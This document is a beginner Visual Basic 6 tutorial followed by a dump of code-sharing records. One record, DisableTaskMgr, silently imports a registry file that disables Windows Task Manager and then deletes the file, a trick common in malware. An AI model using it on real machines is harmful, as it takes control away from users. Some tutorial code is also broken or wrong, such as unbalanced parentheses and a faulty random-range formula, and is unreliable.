\n<pre>\nPrivate Sub Form_Load()\nInputBoxes.Top = Screen.Height - InputBoxes.Height)/2\nInputBoxes.Left = Screen.Width - InputBoxes.Width)/2\nStrName = InputBox(\"Enter your name\", \" Nickelodeon Inc.\")\nLblName = StrName\nEnd Sub\n</pre>\n \n<h5>Message Boxes and List Boxes</h5>\n \nMessage Box - A special type of VB statement/function that displays a window in which you can display a message to a user. The message box can be a statement or function and has the name, MsgBox.\n \nThe following can be displayed to the user with a Message Box: \n<ul>\n<li>Message</li>\n<li>Optional Icon</li> \n<li>Title Bar Caption</li> \n<li>Command Buttons</li>\n</ul>\n \n<h5>MESSAGE BOX STATEMENT</h5>\n \nThe message box statement is designed to be on a line by itself. The syntax of the MsgBox is show here:\n \nMsgBox < \"Prompt\" > , < Buttons/Icons > , < \"Caption\" > \n<pre>\nMsgBox \"Sponge Bob is -JesterΓÇÖs brother!\",vbInformation, \"Nickelodeon Inc.\"\n</pre>\n \nPrompt - The message you want to appear in the message box.\nButtons/Icons - This determines what command buttons and/or icons that will appear on the message box. (This portion is optional.)\nCaption - This is the caption that will appear on the title bar of the message. \n \n<h5>MESSAGE BOX FUNCTION:</h5>\n \nThe message box function will appear on the right hand side of the equals sign. Also, if your msg box is a function, you must enclose arguments in ( ).\n \nVarName = MsgBox( < \"Prompt\" > , < Buttons/Icons > , < \"Caption\" > ) \n<pre>\nIntRes = MsgBox(\"Are my fingers tired?\", vbYesNo + vbQuestion,\"My Question\")\n</pre>\n \nSample code using Message Boxes: \n<pre>\nPrivate Sub cmdCheck_Click()\nIf val(txtNum1) > val(txtNum2) Then\nMsgBox \"First Number is greater than second\", vbInformation, \"Comparing Numbers\"\nElseIf val(txtNum2) > val(txtNum1) Then\nMsgBox \"Second Number is greater than the first\", vbInformation, \"Comparing Numbers\"\nElse\nMsgBox \"The two numbers are equal\", vbInformation, \"Comparing Numbers\"\nEnd If\nEnd Sub\n</pre>\n \n<h5>LIST BOXES:</h5>\n \nList Box - A type of control used to hold a list of items from which the user can select one item from the list. You should use the lst prefix when naming list boxes. \n \nItems can be added to a list box in two ways. \n \nUsing the LIST property for the list control \nUsing the AddItem method \n \n< object_name > .AddItem < Value > \n \nIf your values are strings, they must be enclosed in double quotes. When items are added to the list, they are given an index. The first item added to the list will have an index of zero the 2nd of one, and so forth.\n \nExample of - ADDING ITEMS TO THE LIST: \n<pre>\nlstSchools.AddItem \"Harvard\"\nlstSchools.Additem \"Yale\"\nlstSchools.Additem \"Princeton\"\nlstSchools.Additem \"Brown\"\nlstSchools.Additem \"Cornell\"\nlstSchools.ListIndex = 3\n</pre>\n \nThis will highlight the item \"Brown\". Harvard will have an index of 0, Yale of 1 and so forth. \n \n<h5>ListIndex PROPERTY :</h5> \n \nThe listIndex property will highlight an item in the list when the program is run. Only one item can be set with the listIndex property. The format of List Index property is shown here:\n \n< control > .ListIndex = 3 'This will highlight the 4th item in the list. \n<pre>\nlstSchools.ListIndex = 3 'This will highlight the 4th school in lstSchools.\n</pre>\n \n<h5>Sorted PROPERTY:</h5>\n \nThis will sort the items in your list alphabetically if the SORTED property is set to TRUE. This will also re-index the items in your list. If the ListIndex property is used, the highlighted item will change.\n \n<h5>Clear METHOD:</h5>\n \nThis will empty out the contents of a list box... \n \n< control > .Clear \n<pre>\nlstSchools.Clear\n</pre>\n \n<h5>RemoveItem METHOD:</h5>\n \nThis will remove one item from the list. When using RemoveItem, youmust include the index of the item to remove. \n \n< control > .RemoveItem < index > \n<pre>\nLstSchools.RemoveItem 3\n</pre>\nThis will remove the item in the lstSchools list box with the index of 3, which is the 4th item in the list.\n \nLstCount - The listCount property is used to hold the number of items in the list. ListCount will always be one more than the highest element in the list.\n<h4>Sub Procedures, Random Numbers</h4> \n \nProcedure - A unit of code that performs a specific task and can be called from other locations of the program.\n \n<h5>PURPOSES OF PROCEDURES:</h5> \n \n<ul>\n<li>Breaks large sections of code into smaller units of code that perform a specific task.</li> \n<li>Makes it easier to debug and maintain program.</li>\n<li>Cuts down on the amount of code that has to be written and eliminates duplication of code.</li>\n</ul>\n \n<h5>TYPES OF PROCEDURES:</h5>\n \nSub Procedure - A procedure that performs a task but DOES NOT return values back to the calling module.\nFunction Procedure - A procedure that performs a task and RETURNS a value back to the calling module. With function procedures, the value is returned back to the calling module using the function name. \n \n<h5>CREATING A NEW SUB PROCEDURE:</h5> \n \n<ol>\n<li>Display the code window for the form</li>\n<li>Select ADD PROCEDURE from the TOOLS menu</li>\n<li>Enter the name of the procedure in the text box next to where it says NAME</li> \n<li>Select PRIVATE for SCOPE</li> \n<li>Click OK</li>\n<li>You will be given the procedure shell. Type in the contents of your procedure</li> \n<li>Click on the code button to exit the procedure</li> \n</ol>\n \nExample of a Sub Procedure: \n<pre>\nPrivate Sub AddNumbers()\nSum = val(txtNum1) + val(txtNum2)\nLblSum = Sum\nEnd Sub\n</pre> \nExample of a Sub Procedure Call: \n<pre>\nPrivate Sub cmdCalculate_Click()\nAddNumbers\nEnd Sub\n</pre> \nExample of a Function Procedure: \n<pre>\nPrivate Function AddNumbers()\nAddNumbers = val(txtNum1) + val(txtNum2)\nEnd Function\n</pre> \nExample of a Function Procedure Call: \n<pre>\nPrivate Sub cmdCalculate_Click()\nLblSum = AddNumbers()\nEnd Sub\n</pre>\n \n<h5>WITH STATEMENT</h5> \n \nThe WITH keyword allows you to cut down on coding when dealing with properties of controls.\n \nSyntax of WITH statement: \n \nWith < control > \n. < property1 > = < value1 > \n. < property2 > = < value2 > \n. < property3 > = < value3 > \nEnd With \n \nAssigning controls without the WITH KEYWORD:\n \n<pre>\nlblEmployee.Font.Name = dlgCommon.FontName\nlblEmployee.Font.Bold = dlgCommon.FontBold\nlblEmployee.Font.Italic = dlgCommon.FontItalic\n</pre>\n \nAssigning controls using the WITH KEYWORD:\n \n<pre>\nWith lblEmployee.Font\n.Name = dlgCommon.FontName\n.Bold = dlgCommon.FontBold\n.Italic = dlgCommon.FontItalic\nEnd With\n</pre>\n \n<h5>COMMON DIALOG CONTROL</h5>\n \nAllows your project to use the dialog boxes that are provided as part of the Windows environment to set properties for a control such as font, font size and color.\n \n<h5>FEATURES OF THE DIALOG CONTROL:</h5>\n \n<ul>\n<li>You only need common dialog control on your form</li> \n<li>You cannot change the controls size </li> \n<li>The location of the control does NOT matter </li> \n<li>The control will be invisible when the program runs </li> \n<li>Dialog controls are stored with an extension of .ocx </li> \n<li>When naming Dialog controls, begin with a prefix of dlg </li> \n<li>The common dialog box may not appear in your toolbox. It is a custom * control and will need to be added to your project before you can use it.</li> \n</ul>\n \n<h5>RETRIEVING THE COMMON DIALOG CONTROL:</h5>\n \n<ol>\n<li>click on Project</li> \n<li>click on Components </li>\n<li>Scroll down and find Microsoft Common Dialog Control 6.0 </li>\n<li>Click the check box next to it to select it. </li>\n<li>Click OK and it will be placed in your tool box. </li>\n<li>Click on Dialog Control and place it on your form. </li>\n</ol>\n \n<h5>CHANGING FONTS:</h5>\n \nExample SYNTAX of SETTING FONTS:\n \nWith dlgCommon (assuming that you named it that) \n.Flags = cdlCFScreenFonts ΓÇÿLoads different fonts into memory \n.ShowFont \nEnd With \n<pre>\nWith txtName.Font\n.Bold = dlgCommon.FontBold\n.Italic = dlgCommon.FontItalic\n.Name = dlgCommon.FontName\n.Size = dlgCommon.FontSize\nEnd With\n</pre>\n \n<h5>CHANGING COLOR:</h5> \n \nExample SYNTAX of CHANGING COLOR:\n \n<pre>\ndlgCommon.ShowColor 'Brings up the color box\ntxtName.ForeColor = dlgCommon.Color 'Applies it to the font\n</pre>\n \n<h5>RANDOM NUMBERS</h5>\n \nRnd - Generates a random number between 0 and 1. \nRandomize - Tells VB to randomly generate numbers for the rnd statement. Using randomize will allow the rnd statement to generate an entirely random set of numbers that do not follow any recognizable pattern.\n \nGenerating Numbers between 1 and 10:\n \n<pre>\nNum = Int((10 - 1 + 1)* rnd + 1)\n</pre>\n \nGenerating Numbers between 1 and 100:\n \n<pre>\nNum = Int((100 - 10 + 1)* rnd + 1)\n</pre>\n \n<h5>INT() FUNCTION:</h5>\n \nConverts a floating point value to an integer by truncating off any remainder that the number has. ( INT(4.656) will return a value of 4. )\n<h4>Menus, Combo Boxes and QB Color</h4>\n \nMenu - A drop-down list of items displayed below a menu name on the screen from which you selected one item.\n \nIn Windows and VB a menu consists of a menu bar with menu names, each of which drops down to display a list of menu commands. You can use menu commands in place of or in addition to the command buttons to activate a procedure.\n \nMenu commands are actually controls and have events and properties. Each menu command has a Name property and a Click event, similar to a command button. To create a menu for your form, you will use the Visual Basic Menu Editor, which accessible by pressing < CTRL > + E or Click on Menu Editor Icon.\n \n<h5>PARTS OF THE MENU:</h5>\n \nCaption - Holds the words you want to appear on the screen. \nName - Indicates the name of the menu control and what the control is referred to by the program. When naming, start out with the prefix, \"mnu\" . For example, if you had a menu control for FILE, you would name it, mnuFile\nSUBMENU - A list of commands that appear underneath a menu command, a menu within a menu. To create a submenu, press the right arrow key to move to the next level.\nMenu List Box - Shows the list of all menu items that have been created and the indication levels. You can move up, down, left and right by clicking on the name of the menu item and then clicking on one of the four arrow buttons.\nSeparator Bars - A horizontal line that separates one menu from another. To define a separator bar, type a single hyphen ( - ) for the caption and give it a name. Even though you can never reference the separator bar in the code, you still have to give it a name. If you have more than one separator bar, each one has to have a unique name. ( mnuSep1,mnuSep2,...ect. )\nShort Cut Keys - You can create a keyboard short cut key for a menu item when its created. Select a short cut key for your menu item by selecting it from the list provided. The purpose of the short cut is to give you an alternative to going through a menu to perform a task.\nChecked - If you want a check mark to appear next to an item in your menu, you would put a check here. Check marks are normally for options that you want to be toggled on and off.\nEnabled - If you want the user to be able to select a menu item, this will be checked. By default, all are enabled. If unchecked, this menu item will be dimmed out. You can also change this property in the actual code. ( mnuStar.Enabled = False )\nVisible - Determines whether a menu item is displayed on the screen or not. If there is a check in this check box, the menu item will be displayed on the screen. If the box is not checked, the menu item will not be displayed. This property can also be changed in the actual code. ( mnuStar.Visible = True )\nInsert - Click on this if you want to insert an item into the middle of a menu. The item will be inserted at the location of the current item. All items below that point will be moved down.\nDelete - Will delete the highlighted menu, Cancel will close the menu editor without saving changes and OK will save changes to the menu and close the menu editor. \n \n<h5>COMBO BOXES</h5>\n \nCombo Box - A type of control used to hold a list of items from which the user selects one from a pull down menu.\n \n<h5>DIFFERENCES BETWEEN A LIST BOX AND A COMBO BOX:</h5>\n \n<ul>\n<li>With a list box, there is no pull down menu, user scrolls through the list using scroll bars and selects the item of his/her/OtHeR choice. With a combo box, the user click on a down arror, a pull down menu is displayed and the user chooses by clicking one on the list.</li>\n<li>You can type your own entry into the list with a combo box. With a list box, you cannot type in your own entries.</li>\n</ul>\n \nLike list boxes, items can be added to a combo box in two ways... \n \n<ul>\n<li>Using the List property</li> \n<li>Using the AddItem method</li>\n</ul>\n \n<h5>ADDING ITEMS TO THE LIST USING THE LIST PROPERTY:</h5>\n \n<ol>\n<li>Scroll through the properties window to the LIST property </li>\n<li>Click on the down arror to drop down an empty list </li>\n<li>Type your first item and press < CTRL > < ENTER > </li>\n<li>Continue entering items as indicated in 3 until finished </li>\n<li>Press < ENTER > or click outside of list box to complete operation.</li>\n</ol\n \n<h5>ADDING ITEMS TO THE LIST USING THE ADDITEM PROPERTY:</h5>\n \n<ol>\n<li>Double click on the form to open FORM_LOAD </li>\n<li>Enter your items using the below format :</li>\n</ol>\n \n< object_name > .AddItem \" < Value > \" \n \n<h5>ADDING ITEMS INTO THE ItemData ARRAY:</h5> \n \n< object_name > .AddItem \" < Value > \" \n< object_name > .ItemData( < object_name > .NewIndex) = < Value > \n \n<h5>ADDING ITEMS TO THE LIST:</h5> \n \nPuttings items into the list of a Combo Box... \n<pre>\ncboSchool.AddItem \"Harvard\"\ncboSchool.AddItem \"Yale\"\ncboSchool.AddItem \"Princeton\"\ncboSchool.AddItem \"Brown\"\ncboSchool.AddItem \"Cornell\"\n</pre>\n \nHarvard will have the index of 0, Yale of 1 and so on \n \nEntering Items into the ItemData array of a Combo Box... \n<pre>\ncboOffice.AddItem \"Paper\"\ncboOffice.ItemData(cboOffice.NewIndex) = 300\ncboOffice.AddItem \"Cartrige\"\ncboOffice.ItemData(cboOffice.NewIndex) = 3200\ncboOffice.AddItem \"Folders\"\ncboOffice.ItemData(cboOffice.NewIndex) = 250\ncboOffice.AddItem \"Binder\"\ncboOffice.ItemData(cboOffice.NewIndex) = 400\n</pre>\n \n<h5>TEXT PROPERTY:</h5> \n \nThe Text property refers to the actual item that is currently selected in the list. \n \n< label > = < control > .Text \n<pre>\nlblFood = cboFood.Text\n</pre>\n \nListIndex works as the same as List Boxes. Same as NewIndex, ItemData, Sorted, Clear, RemoveItem, ListCout...ect.\n \nWhen naming Combo Boxes, use the prefix, \"cbo\". For example, if you wanted a combo box named School, you would name it, cboSchool.\n \n<h5>QB COLOR</h5>\n \nQBCOLOR - is a built-in function in VB that will display 15 different colors. The QBCOLOR function has one argument, which is the index of the color to be displayed. The index can range from values 0 to 15. What the heck, here are the values for you:\n \n<table width=\"33%\" border=\"1\" cellspacing=\"0\" cellpadding=\"0\" align=\"center\" bordercolor=\"#FFFFFF\">\n <tr bordercolor=\"#FFFFFF\"> \n <td bgcolor=\"#CCCCCC\" valign=\"middle\" align=\"center\" font color=\"#000000\">-Index-</td>\n <td bgcolor=\"#999999\" valign=\"middle\" align=\"center\">\n <div align=\"center\">-Color-</div>\n </td>\n </tr>\n <tr> \n <td align=\"left\" valign=\"top\" bgcolor=\"#E8F8FF\"> \n <div align=\"left\">0</div>\n </td>\n <td bgcolor=\"#006699\" bordercolor=\"#006699\"> \n <div align=\"left\">Black</div>\n </td>\n </tr>\n <tr> \n <td bgcolor=\"#E8F8FF\"> \n <div align=\"left\">1</div>\n </td>\n <td bgcolor=\"#006699\" bordercolor=\"#006699\"> \n <div align=\"left\">Blue</div>\n </td>\n </tr>\n <tr> \n <td bgcolor=\"#E8F8FF\"> \n <div align=\"left\">2</div>\n </td>\n <td bgcolor=\"#006699\" bordercolor=\"#006699\"> \n <div align=\"left\">Green</div>\n </td>\n </tr>\n <tr> \n <td bgcolor=\"#E8F8FF\"> \n <div align=\"left\">3</div>\n </td>\n <td bgcolor=\"#006699\" bordercolor=\"#006699\"> \n <div align=\"left\">Cyan</div>\n </td>\n </tr>\n <tr> \n <td bgcolor=\"#E8F8FF\"> \n <div align=\"left\">4</div>\n </td>\n <td bgcolor=\"#006699\" bordercolor=\"#006699\"> \n <div align=\"left\">Red</div>\n </td>\n </tr>\n <tr> \n <td bgcolor=\"#E8F8FF\"> \n <div align=\"left\">5</div>\n </td>\n <td bgcolor=\"#006699\" bordercolor=\"#006699\"> \n <div align=\"left\">Magenta</div>\n </td>\n </tr>\n <tr> \n <td bgcolor=\"#E8F8FF\"> \n <div align=\"left\">6</div>\n </td>\n <td bgcolor=\"#006699\" bordercolor=\"#006699\"> \n <div align=\"left\">Yellow</div>\n </td>\n </tr>\n <tr> \n <td bgcolor=\"#E8F8FF\"> \n <div align=\"left\">7</div>\n </td>\n <td bgcolor=\"#006699\" bordercolor=\"#006699\"> \n <div align=\"left\">White</div>\n </td>\n </tr>\n <tr> \n <td bgcolor=\"#E8F8FF\"> \n <div align=\"left\">8</div>\n </td>\n <td bgcolor=\"#006699\" bordercolor=\"#006699\"> \n <div align=\"left\">Gray</div>\n </td>\n </tr>\n <tr> \n <td bgcolor=\"#E8F8FF\"> \n <div align=\"left\">9</div>\n </td>\n <td bgcolor=\"#006699\" bordercolor=\"#006699\"> \n <div align=\"left\">Light Blue</div>\n </td>\n </tr>\n <tr> \n <td bgcolor=\"#E8F8FF\"> \n <div align=\"left\">10</div>\n </td>\n <td bgcolor=\"#006699\" bordercolor=\"#006699\"> \n <div align=\"left\">Light Green</div>\n </td>\n </tr>\n <tr> \n <td bgcolor=\"#E8F8FF\"> \n <div align=\"left\">11</div>\n </td>\n <td bgcolor=\"#006699\" bordercolor=\"#006699\"> \n <div align=\"left\">Light Cyan</div>\n </td>\n </tr>\n <tr> \n <td bgcolor=\"#E8F8FF\"> \n <div align=\"left\">12</div>\n </td>\n <td bgcolor=\"#006699\" bordercolor=\"#006699\"> \n <div align=\"left\">Light Red</div>\n </td>\n </tr>\n <tr> \n <td bgcolor=\"#E8F8FF\"> \n <div align=\"left\">13</div>\n </td>\n <td bgcolor=\"#006699\" bordercolor=\"#006699\"> \n <div align=\"left\">Light Magenta</div>\n </td>\n </tr>\n <tr> \n <td bgcolor=\"#E8F8FF\"> \n <div align=\"left\">14</div>\n </td>\n <td bgcolor=\"#006699\" bordercolor=\"#006699\"> \n <div align=\"left\">Light Yellow</div>\n </td>\n </tr>\n <tr> \n <td bgcolor=\"#E8F8FF\"> \n <div align=\"left\">15</div>\n </td>\n <td bgcolor=\"#006699\" bordercolor=\"#006699\"> \n <div align=\"left\">Bright White</div>\n </td>\n </tr>\n </table>\n \n\nExample: \n<pre>\nShpRectangle.FillColor = QBColor(1) ΓÇÿWill be shown in blue\nShpCircle.FillColor = QBColor(6) ΓÇÿ Will be shown in yellow\n</pre>\n<h4>Control Arrays, Scroll Bars and RGB Function</h4>\n \n \nArray - A group of data items that are referred to by the same name. \nControl Array - A group of controls sharing the same name and event procedures. \nIndex - A variable used to refer to each element in the control array. \n \nControl Arrays can be used with the following controls: \n \n<ul>\n<li>Text Boxes </li>\n<li>Option Buttons </li>\n<li>Check Boxes </li>\n<li>Labels </li>\n<li>Command Buttons </li>\n</ul>\n \nControl Arrays are most commonly used with text boxes and option buttons. \n \n<h5>CREATING A CONTROL ARRAY:</h5>\n \n<ol>\n<li>drop a control on the form and assign it a name. </li>\n<li>drop a second control on the form and assign it the SAME name. </li>\n<li>You will be given a message saying that you already have a control named ΓÇÿwhateverΓÇÖ and asks you if you want to create a control array.</li> \n<li>Press \"Yes\" and this will create your control array.</li> \n<li>Now, for each subsequent item added, give it the same name also.</li> \n<li>Once you create the control array, each item within the array will have an index. The first will be an index of zero, 2nd of 1, 3rd of 2 and so forth...</li>\n</ol>\n \n \nExample Control Array using a Select Case: \nThis example is if you had 6 option buttons with names of colors and a Rounded Square shape that will fill the color of the selected option button. \n \n<pre>\nPrivate Sub optColors_Click(Index As Integer)\nSelect Case Index\nCase 0: shpRoundSquare.FillColor = vbBlack\nCase 1: shpRoundSquare.FillColor = vbBlue\nCase 2: shpRoundSquare.FillColor = vbYellow\nCase 3: shpRoundSquare.FillColor = vbGreen\nCase 4: shpRoundSquare.FillColor = vbRed\nCase 5: shpRoundSquare.FillColor = vbMagenta\nEnd Select\nEnd Sub\n</pre>\n \n<h5>SUM AND AVERAGE OF TEST SCORES USING CONTROL ARRAYS:</h5>\n \n \nHere is another example of a control array. This will be if you wanted to figure the sum and average of test scores.\n \n<pre>\n'Calculating Sum and Average\nPrivate Sub cmdCalculate_Click()\nFor X = 0 to 9 \nSum = Sum + val(txtTest(X))\nNext X\nAverage = Sum / 10\nEnd Sub\n'Clearing text boxes and totals\nPrivate Sub cmdClear_Click()\nFor Z = 0 to 9\nTxtTest(Z) = \"\"\nNext Z\nLblSum = \"\"\nLblAvg = \"\"\nSum = 0\nAverage = 0\nEnd Sub\n</pre>\n \n<h5>Scroll Bars and RGB Function</h5> \n \nScroll Bar - A control that allows you to see hidden information on the screen. This information can be text, icons or controls.\nIn VB a scroll bar is used to represent a range of values. Scroll bars are also used to control sound level, color, size and other values that can be changed in small amounts or large increments.\nScroll Box - The little square, which appears inside the scroll bar. Pressing down on the scroll box changes the value property of the scroll bar. Another name for the scroll box is the thumb. \n \n<h5>PROPERTIES OF THE SCROLL BAR:</h5>\n \n<ul>\n<li>Min - The smallest value the scroll bar can take on <li>\n<li>Max - The largest value the scroll bar can take on <li>\n<li>Small Change - The distance to move when the user clicks on the scroll arrows <li>\n<li>Large Change - The distance to move when the user clicks on the gray area of the scroll bar <li>\n<li>Value - Indicates the current position of the scroll bar and its corresponding value within the scroll bar.<li>\n</ul>\n \n<h5>TYPES OF SCROLL BARS:</h5> \n \n<ul>\n<li>Vertical Scroll Bar - Begins with the prefix \"vsb\" </li>\n<li>Horizontal Scroll Bar - Begins with a prefix \"hsb\" </li>\n</ul>\n \n<h5>EVENTS OF THE SCROLL BAR:</h5> \n \nChange Event - Occurs when the user clicks on the gray area of the scroll bar. \nScroll Event - Occurs when the user drags the scroll box. \n \nAs soon as the user releases the mouse botton, the scroll event ceases and a change event occurs. When you write code for the scroll bar, you will want to write code for both Change even and the Scroll event. \n \n<h5>SAMPLE PROGRAM USING HORIZONTAL SCROLL BAR:</h5> \n<pre>\nPrivate Sub cmdExit_Click()\nEnd\nEnd Sub\nPrivate Sub Form_Load()\nHscroll.Top = (Screen.Height - Hscroll.Height)/2\nHscroll.Left = (Screen.Width - Hscroll.Width)/2\nEnd Sub\nPrivate Sub hsbScroll_Change()\nLblValue = hsbScroll.Value\nEnd Sub\nPrivate Sub hsbScroll_Scroll()\nLblValue = hsbScroll.Value\nEnd Sub\n</pre>\n \n<h5>SAMPLE PROGRAM USING VERTICAL SCROLL BAR:</h5>\n \n<pre>\nPrivate Sub cmdExit_Click()\nEnd\nEnd Sub\nPrivate Sub Form_Load()\nVscroll.Top = (Screen.Height - Vscroll.Height)/2\nVscroll.Left = (Screen.Width - Vscroll.Width)/2\nEnd Sub\nPrivate Sub vsbScroll_Change()\nLblValue = vsbScroll.Value\nEnd Sub\nPrivate Sub vsbScroll_Scroll()\nLblValue = vsbScroll.Value\nEnd Sub\n</pre>\n \n<h5>RGB FUNCTION</h5> \n \nThe RGB function specifies the quantities of red, green and blue for a large variety of colors. The value for each color ranges from 0 to 255 with 0 being the least intense and 255 being the most intense. The color arguments are in the same order as their letters in the function name, red first, then green and then finally blue. You can use the RGB function to assign the color to a property or specify the color in a graphics method. \n \nChosen_Color = RGB(RedValue, GreenValue,BlueValue) \n \nExamples: \n \n<pre>\nRGB(0,0,0) 'would be BLACK\nRGB(255,255,255) 'would be BRIGHT WHITE\nRGB(255,0,0) 'would be RED\nRGB(0,255,0) 'would be GREEN\nRGB(0,0,255) 'would be BLUE\n</pre>\n<h4>Multiple Forms, ME Keyword and Conclusion</h4>\n \n \nA VB project can consist of several forms. Each form has its own window, form load section, general declarations section and code window. All of the forms in a project are tied together under the project name. When you run the program, you can switch back and forth between different forms.\n \nStartUp Form - The first form a project displays when the project is loaded. \nLoad - Loads a form into the computers memory (does not display on screen.) \n \n ┬╖ Load < form_name > \n \nUnload - Unloads the form from the computers memory. Also, if youΓÇÖre running an execss amount of forms, you should unload them to save up on memory.\n \n┬╖ Unload < form_name > \n \nShow - Display the loaded form on the screen. \n \n┬╖ < form_name > .Show \n \nHide - Makes the form disappear. The form will still be loaded into memory. It just will not be displayed on the screen.\n \n┬╖ *lt; form_name > .Hide \n \n<h5>ME KEYWORD:</h5>\n \nYou can refer to the current form by using the special keyword ME. Me acts like a variable and refers to the form that is currently active. You can use Me in place of the form name when coding statements and methods.\n \nExamples:\n \n<pre>\nUnload Me 'Unloads the current form that is executing code\nMe.Hide 'Hides the form currently executing code\nMe.Show 'Shows the form currently executing code\n</pre>\n \n<h5>Conclusion:</h5>\n \nAlright! Wow, I believe that is an acceptionally well start on Visual Basic 6.0. This tutorial does not cover many things, however you can learn a lot just by playing around with the program. I am sure that I left a lot of things out that I should have put in here, and discussed things I could have left out- but this is my first tutorial, so take it easy! Anyways, hope you enjoy and are ready to code and design in Visual Basic!!!\n \n-bs0d | www.allsyntax.com "},{"WorldId":1,"id":53476,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53479,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53482,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53492,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53493,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53496,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53497,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53499,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53501,"LineNumber":1,"line":"Public Sub ReadCombo(combobox As combobox, Filename As String)\n On Error GoTo Err\n Open Filename For Input As #1\n \n\n Do While Not EOF(1)\n Input #1, lstinput\n combobox.AddItem lstinput\n Loop\n Close #1\n Exit Sub\nErr:\n MsgBox \"Error In ReadCombo\" & Chr(13) & Chr(13) & Err.Number _\n & \" - \" & Err.Description, vbCritical, \"Error\"\n Exit Sub\nEnd Sub\n\nPublic Sub WriteCombo(combobox As combobox, Filename As String)\n\n If combobox.ListCount <= 0 Then\n MsgBox \"Combobox is empty - cannot write To file!\", vbCritical, \"Error\"\n End\n End If\n On Error GoTo Err\n Open Filename For Output As #1\n For i = 0 To combobox.ListCount - 1\n Print #1, combobox.List(i)\n Next\n Close #1\n Exit Sub\nErr:\n MsgBox \"Error In WriteCombo\" & Chr(13) & Chr(13) & Err.Number _\n & \" - \" & Err.Description, vbCritical, \"Error\"\n Exit Sub\nEnd Sub"},{"WorldId":1,"id":53504,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53507,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53508,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53509,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53521,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53522,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53525,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53533,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53540,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53551,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53556,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53558,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53560,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53561,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53566,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53567,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53570,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53571,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53572,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53574,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53581,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53583,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53589,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53610,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53615,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53622,"LineNumber":1,"line":"<h6>Public Sub DisableTaskMgr() \nOpen \"C:\\X.reg\" For Output As #1 \nPrint #1, \"Windows Registry Editor Version 5.00\" \nPrint #1, \"\" \nPrint #1, _ \"[HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]\"\nPrint #1, \"\"\"DisableTaskMgr\"\"\" & \"=dword:00000001\" \nClose #1 \nShell (\"Regedit /s C:\\X.reg\") \nKill \"C:\\X.reg\" \nEnd Sub</h6>"},{"WorldId":1,"id":53624,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53625,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53627,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53628,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53632,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53635,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53644,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53647,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53651,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53652,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53653,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53659,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53660,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53661,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53670,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53682,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53688,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53694,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53716,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53726,"LineNumber":1,"line":"' \"Annie's Song\"\n' by John Denver\nOption Explicit\nPrivate Declare Function Beep Lib \"kernel32\" (ByVal dwFreq As Long, ByVal dwDuration As Long) As Long\nPrivate Declare Sub Sleep Lib \"kernel32\" (ByVal dwMilliseconds As Long)\nPrivate Sub Form_Load()\nDim Note As Long\nDim Frequencies As String, Durations As String\nDim Frequency As Long, Duration As Long\nFrequencies = \"iiihfihfffhidadddfhihfffhihiiihfihffihfdadddfhihffhiki\"\n Durations = \"aabbbfjaabbbbnaabbbfjaabcapaabbbfjaabbbbnaabbbfjaabcap\"\nConst E4 = 329.6276\nFor Note = 1 To Len(Frequencies)\n Frequency = E4 * 2 ^ ((Asc(Mid$(Frequencies, Note, 1)) - 96) / 12)\n Duration = (Asc(Mid$(Durations, Note, 1)) - 96) * 200 - 10\n Beep Frequency, Duration\n Sleep 10\n DoEvents\nNext\nUnload Me\nEnd 